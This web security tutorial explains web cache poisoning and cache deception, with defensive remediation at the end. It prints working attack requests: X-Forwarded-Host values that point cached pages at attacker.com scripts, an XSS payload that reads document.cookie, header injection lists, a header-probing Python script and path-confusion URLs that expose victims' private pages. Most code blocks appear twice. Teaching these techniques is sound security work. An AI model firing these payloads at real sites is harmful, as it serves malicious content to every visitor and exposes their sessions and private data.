Web Cache Poisoning
Web cache poisoning exploits caching mechanisms to serve malicious content to users. By manipulating inputs that aren't part of the cache key, attackers can inject payloads that get cached and served to all subsequent visitors.
Warning
๐ Quick Navigation
๐ฏ Fundamentals
โก Attack Techniques
๐ ๏ธ Tools
- โข Param Miner
- โข Cache Key Discovery
๐งช Practice
- โข Practice Labs
- โข Testing Checklist
Understanding Web Cache Poisoning
Web caches store responses to reduce server load and improve performance. Cache poisoning exploits the gap between what the cache considers "the same request" (cache key) and what actually affects the response.
Attack Flow
- Identify unkeyed input: Find a header/parameter that affects response but isn't in cache key
- Inject payload: Craft request with malicious value in unkeyed input
- Trigger caching: Ensure the poisoned response gets stored in cache
- Victim receives poison: Subsequent users get the cached malicious response
# Basic Web Cache Poisoning Attack
# Step 1: Find an unkeyed header that affects the response
# The X-Forwarded-Host header is often unkeyed (not in cache key)
GET /en?region=us HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attacker.com
# Response includes attacker.com in links/scripts:
# <script src="https://attacker.com/static/main.js"></script>
# Step 2: The response gets cached
# Step 3: Other users requesting /en?region=us receive the poisoned response# Basic Web Cache Poisoning Attack
# Step 1: Find an unkeyed header that affects the response
# The X-Forwarded-Host header is often unkeyed (not in cache key)
GET /en?region=us HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attacker.com
# Response includes attacker.com in links/scripts:
# <script src="https://attacker.com/static/main.js"></script>
# Step 2: The response gets cached
# Step 3: Other users requesting /en?region=us receive the poisoned responseCache Keys Explained
The cache key determines which requests are considered "the same" for caching purposes. Typically includes:
Usually Keyed โ
- โข Request method (GET, POST)
- โข Host header
- โข URL path
- โข Query string parameters
- โข Accept-Encoding (sometimes)
Often Unkeyed โ
- โข X-Forwarded-Host
- โข X-Forwarded-Scheme
- โข X-Original-URL
- โข Cookie (usually excluded)
- โข Origin header
- โข Request body (for GET)
Information
Vary: Accept-Encoding, Accept-Language to understand cache behavior.
Finding Unkeyed Inputs
# Common Unkeyed Headers for Cache Poisoning
# Host override headers
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
X-HTTP-Host-Override: attacker.com
Forwarded: host=attacker.com
# Protocol/scheme manipulation
X-Forwarded-Scheme: http
X-Forwarded-Proto: http
X-Scheme: http
Front-End-Https: off
X-Forwarded-Ssl: off
# Path manipulation
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Forwarded-Prefix: /..%2fadmin
# Port injection
X-Forwarded-Port: 443</script><script>alert(1)//
# Cache control manipulation
X-Forwarded-For: inject<script>
X-Real-IP: inject<script>
# Language/locale
Accept-Language: ../admin
X-Original-Locale: javascript:alert(1)# Common Unkeyed Headers for Cache Poisoning
# Host override headers
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
X-HTTP-Host-Override: attacker.com
Forwarded: host=attacker.com
# Protocol/scheme manipulation
X-Forwarded-Scheme: http
X-Forwarded-Proto: http
X-Scheme: http
Front-End-Https: off
X-Forwarded-Ssl: off
# Path manipulation
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Forwarded-Prefix: /..%2fadmin
# Port injection
X-Forwarded-Port: 443</script><script>alert(1)//
# Cache control manipulation
X-Forwarded-For: inject<script>
X-Real-IP: inject<script>
# Language/locale
Accept-Language: ../admin
X-Original-Locale: javascript:alert(1)Param Miner
Param Miner is a Burp Suite extension that automatically discovers unkeyed headers and parameters that could be used for cache poisoning.
# Param Miner - Burp Extension for Cache Poisoning
# Install from BApp Store
Extensions โ BApp Store โ Param Miner โ Install
# Basic usage - find unkeyed inputs
1. Right-click request in Proxy/Repeater
2. Extensions โ Param Miner โ Guess headers
3. Wait for results in Dashboard/Extensions output
# Key findings to look for:
- X-Forwarded-Host
- X-Forwarded-Scheme
- X-Original-URL
- X-Rewrite-URL
- X-Forwarded-Prefix
- Origin header reflections
- Custom headers specific to target
# Cache key indicators:
- Cache-Status: HIT/MISS
- X-Cache: HIT
- Age: 3600 (seconds cached)
- Vary: Accept-Encoding (headers in cache key)
- CF-Cache-Status (Cloudflare)# Param Miner - Burp Extension for Cache Poisoning
# Install from BApp Store
Extensions โ BApp Store โ Param Miner โ Install
# Basic usage - find unkeyed inputs
1. Right-click request in Proxy/Repeater
2. Extensions โ Param Miner โ Guess headers
3. Wait for results in Dashboard/Extensions output
# Key findings to look for:
- X-Forwarded-Host
- X-Forwarded-Scheme
- X-Original-URL
- X-Rewrite-URL
- X-Forwarded-Prefix
- Origin header reflections
- Custom headers specific to target
# Cache key indicators:
- Cache-Status: HIT/MISS
- X-Cache: HIT
- Age: 3600 (seconds cached)
- Vary: Accept-Encoding (headers in cache key)
- CF-Cache-Status (Cloudflare)Cache Key Discovery Script
#!/usr/bin/env python3
"""
Cache Key Discovery Script
Identifies what parameters/headers are included in cache key
"""
import requests
import random
import string
import time
TARGET = "https://target.com/path"
CACHE_BUSTER = "".join(random.choices(string.ascii_lowercase, k=8))
def random_value():
return "".join(random.choices(string.ascii_lowercase, k=6))
def get_cache_headers(response):
"""Extract cache-related headers"""
cache_headers = {}
for header in ['cache-control', 'x-cache', 'cf-cache-status',
'age', 'cache-status', 'x-cache-status']:
if header in response.headers:
cache_headers[header] = response.headers[header]
return cache_headers
def test_header_keyed(header_name, url):
"""Check if a header is part of the cache key"""
# First request with unique value
value1 = random_value()
headers1 = {header_name: value1}
resp1 = requests.get(url, headers=headers1)
# Wait for potential caching
time.sleep(0.5)
# Second request with different value - should get same response if unkeyed
value2 = random_value()
headers2 = {header_name: value2}
resp2 = requests.get(url, headers=headers2)
# If responses match and second is cached, header is unkeyed
if resp1.text == resp2.text and 'HIT' in str(get_cache_headers(resp2)):
return False # Unkeyed - potential poisoning vector
return True # Keyed - in cache key
def main():
headers_to_test = [
'X-Forwarded-Host',
'X-Forwarded-Scheme',
'X-Forwarded-Proto',
'X-Original-URL',
'X-Rewrite-URL',
'X-Forwarded-Prefix',
'X-Host',
'Origin',
'X-Forwarded-For'
]
# Add cache buster to avoid stale responses
test_url = f"{TARGET}?cb={CACHE_BUSTER}"
print(f"[*] Testing cache key composition for {TARGET}")
print(f"[*] Cache buster: {CACHE_BUSTER}\n")
for header in headers_to_test:
is_keyed = test_header_keyed(header, test_url)
status = "KEYED (in cache key)" if is_keyed else "UNKEYED (potential poison vector!)"
icon = "[-]" if is_keyed else "[+]"
print(f"{icon} {header}: {status}")
if __name__ == "__main__":
main()#!/usr/bin/env python3
"""
Cache Key Discovery Script
Identifies what parameters/headers are included in cache key
"""
import requests
import random
import string
import time
TARGET = "https://target.com/path"
CACHE_BUSTER = "".join(random.choices(string.ascii_lowercase, k=8))
def random_value():
return "".join(random.choices(string.ascii_lowercase, k=6))
def get_cache_headers(response):
"""Extract cache-related headers"""
cache_headers = {}
for header in ['cache-control', 'x-cache', 'cf-cache-status',
'age', 'cache-status', 'x-cache-status']:
if header in response.headers:
cache_headers[header] = response.headers[header]
return cache_headers
def test_header_keyed(header_name, url):
"""Check if a header is part of the cache key"""
# First request with unique value
value1 = random_value()
headers1 = {header_name: value1}
resp1 = requests.get(url, headers=headers1)
# Wait for potential caching
time.sleep(0.5)
# Second request with different value - should get same response if unkeyed
value2 = random_value()
headers2 = {header_name: value2}
resp2 = requests.get(url, headers=headers2)
# If responses match and second is cached, header is unkeyed
if resp1.text == resp2.text and 'HIT' in str(get_cache_headers(resp2)):
return False # Unkeyed - potential poisoning vector
return True # Keyed - in cache key
def main():
headers_to_test = [
'X-Forwarded-Host',
'X-Forwarded-Scheme',
'X-Forwarded-Proto',
'X-Original-URL',
'X-Rewrite-URL',
'X-Forwarded-Prefix',
'X-Host',
'Origin',
'X-Forwarded-For'
]
# Add cache buster to avoid stale responses
test_url = f"{TARGET}?cb={CACHE_BUSTER}"
print(f"[*] Testing cache key composition for {TARGET}")
print(f"[*] Cache buster: {CACHE_BUSTER}\n")
for header in headers_to_test:
is_keyed = test_header_keyed(header, test_url)
status = "KEYED (in cache key)" if is_keyed else "UNKEYED (potential poison vector!)"
icon = "[-]" if is_keyed else "[+]"
print(f"{icon} {header}: {status}")
if __name__ == "__main__":
main()Header Injection Attacks
# Common Header Injection Scenarios
# 1. X-Forwarded-Host โ Affects <base>, <link>, script src
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: attacker.com
# Result: <script src="https://attacker.com/static/app.js">
# 2. X-Forwarded-Scheme โ Force HTTP links in HTTPS page
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Scheme: http
# Result: All links become http:// enabling MITM
# 3. X-Forwarded-Prefix โ Path injection
GET /api/data HTTP/1.1
Host: vulnerable.com
X-Forwarded-Prefix: /admin
# Result: Response thinks path is /admin/api/data
# 4. X-Original-URL โ Access control bypass
GET /public HTTP/1.1
Host: vulnerable.com
X-Original-URL: /admin
# Front-end caches /public, back-end serves /admin# Common Header Injection Scenarios
# 1. X-Forwarded-Host โ Affects <base>, <link>, script src
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: attacker.com
# Result: <script src="https://attacker.com/static/app.js">
# 2. X-Forwarded-Scheme โ Force HTTP links in HTTPS page
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Scheme: http
# Result: All links become http:// enabling MITM
# 3. X-Forwarded-Prefix โ Path injection
GET /api/data HTTP/1.1
Host: vulnerable.com
X-Forwarded-Prefix: /admin
# Result: Response thinks path is /admin/api/data
# 4. X-Original-URL โ Access control bypass
GET /public HTTP/1.1
Host: vulnerable.com
X-Original-URL: /admin
# Front-end caches /public, back-end serves /adminXSS via Cache Poisoning
# XSS via Cache Poisoning
# Scenario: X-Forwarded-Host reflected in page and unkeyed
# Step 1: Find reflection
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: test123
# Response shows:
# <link rel="canonical" href="https://test123/" />
# Step 2: Inject XSS payload
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: "></link><script>alert(document.cookie)</script><link x="
# Response:
# <link rel="canonical" href="https://"></link><script>alert(document.cookie)</script><link x="" />
# Step 3: Ensure response is cached
# Check for: Cache-Status: HIT or X-Cache: HIT or Age: > 0
# Step 4: All subsequent visitors receive XSS payload
# Impact: Stored XSS affecting ALL users until cache expires# XSS via Cache Poisoning
# Scenario: X-Forwarded-Host reflected in page and unkeyed
# Step 1: Find reflection
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: test123
# Response shows:
# <link rel="canonical" href="https://test123/" />
# Step 2: Inject XSS payload
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: "></link><script>alert(document.cookie)</script><link x="
# Response:
# <link rel="canonical" href="https://"></link><script>alert(document.cookie)</script><link x="" />
# Step 3: Ensure response is cached
# Check for: Cache-Status: HIT or X-Cache: HIT or Age: > 0
# Step 4: All subsequent visitors receive XSS payload
# Impact: Stored XSS affecting ALL users until cache expiresTip
Web Cache Deception
Cache deception is the reverse of cache poisoning. Instead of poisoning a cached page, you trick the cache into storing sensitive pages that shouldn't be cached.
# Web Cache Deception Attack
# Trick cache into storing sensitive user-specific responses
# Target: User profile page that shouldn't be cached
# Attack: Append static file extension to path
# Normal request (not cached - dynamic content)
GET /account/settings HTTP/1.1
Host: vulnerable.com
Cookie: session=victim_session
# Response: User's private settings, not cached
# Attack request (tricks cache into caching)
GET /account/settings/nonexistent.css HTTP/1.1
Host: vulnerable.com
Cookie: session=victim_session
# If app ignores path suffix and serves /account/settings
# AND cache sees .css and caches it as static content:
# Step 1: Attacker tricks victim into visiting:
# https://vulnerable.com/account/settings/exploit.css
# Step 2: Cache stores victim's private page under that URL
# Step 3: Attacker requests same URL (no cookie needed):
GET /account/settings/exploit.css HTTP/1.1
Host: vulnerable.com
# Response: Victim's cached private settings!
# Path confusion variants:
/account/settings/..%2f..%2fstatic/file.js
/account/settings%00.js
/account/settings;.js
/account/settings%23.css# Web Cache Deception Attack
# Trick cache into storing sensitive user-specific responses
# Target: User profile page that shouldn't be cached
# Attack: Append static file extension to path
# Normal request (not cached - dynamic content)
GET /account/settings HTTP/1.1
Host: vulnerable.com
Cookie: session=victim_session
# Response: User's private settings, not cached
# Attack request (tricks cache into caching)
GET /account/settings/nonexistent.css HTTP/1.1
Host: vulnerable.com
Cookie: session=victim_session
# If app ignores path suffix and serves /account/settings
# AND cache sees .css and caches it as static content:
# Step 1: Attacker tricks victim into visiting:
# https://vulnerable.com/account/settings/exploit.css
# Step 2: Cache stores victim's private page under that URL
# Step 3: Attacker requests same URL (no cookie needed):
GET /account/settings/exploit.css HTTP/1.1
Host: vulnerable.com
# Response: Victim's cached private settings!
# Path confusion variants:
/account/settings/..%2f..%2fstatic/file.js
/account/settings%00.js
/account/settings;.js
/account/settings%23.cssCache Poisoning vs Cache Deception
Cache Poisoning
- โข Attacker poisons the cached response
- โข Victims receive attacker's payload
- โข Exploits unkeyed inputs
- โข Result: XSS, redirect, etc.
Cache Deception
- โข Attacker tricks victim into caching their data
- โข Attacker retrieves victim's cached data
- โข Exploits path confusion
- โข Result: Information disclosure
Fat GET Attacks
# Fat GET Request Cache Poisoning
# Some servers process body in GET requests but cache key ignores it
GET /?callback=loadData HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
callback=stealCookie
# If server uses body parameter but cache only keys on URL:
# Response: stealCookie({...data...})
# Cached response serves attacker's callback to all users
# Detection:
1. Send GET with body parameter
2. Check if body parameter affects response
3. Check if response is cached
4. If both yes โ Fat GET cache poisoning possible# Fat GET Request Cache Poisoning
# Some servers process body in GET requests but cache key ignores it
GET /?callback=loadData HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
callback=stealCookie
# If server uses body parameter but cache only keys on URL:
# Response: stealCookie({...data...})
# Cached response serves attacker's callback to all users
# Detection:
1. Send GET with body parameter
2. Check if body parameter affects response
3. Check if response is cached
4. If both yes โ Fat GET cache poisoning possiblePractice Labs
PortSwigger Cache Poisoning
Comprehensive labs covering all techniques
PortSwigger Cache Deception
Labs for web cache deception attacks
Param Miner
Burp extension for hidden parameter discovery
HackerOne Reports
Real-world cache poisoning disclosures
Testing Checklist
๐ Reconnaissance
- โ Identify caching (X-Cache, Age, CF-Cache-Status)
- โ Check Vary header for cache key composition
- โ Identify CDN/cache provider in use
- โ Find cacheable endpoints (static, public content)
โก Poisoning Tests
- โ Test X-Forwarded-Host reflection
- โ Test X-Forwarded-Scheme
- โ Test X-Original-URL / X-Rewrite-URL
- โ Run Param Miner for hidden inputs
- โ Test Fat GET body parameter handling
๐ญ Deception Tests
- โ Test static extension confusion (.css, .js, .png)
- โ Test path delimiter confusion (;, %00, %23)
- โ Test path normalization issues
- โ Check if user-specific pages get cached
๐ Documentation
- โ Record exact poisoning payload
- โ Document cache TTL/duration
- โ Note affected user scope
- โ Include cache header evidence
๐ก๏ธ Remediation & Defense
Defensive Measures
Cache Configuration
- โข Include all security-relevant headers in the cache key (e.g.,
Host,Origin) - โข Use
Varyheader to key on headers that influence response content - โข Disable caching for dynamic/sensitive responses
- โข Set short TTLs on cacheable resources to limit poisoning window
Input Handling
- โข Sanitize or reject unkeyed inputs reflected in responses
- โข Strip or ignore unexpected/custom headers at the application layer
- โข Validate
X-Forwarded-Hostand similar headers against allowlists - โข Never reflect unkeyed header values in HTML without encoding
CWE References: CWE-349 (Acceptance of Extraneous Untrusted Data), CWE-525 (Browser Caching of Sensitive Information)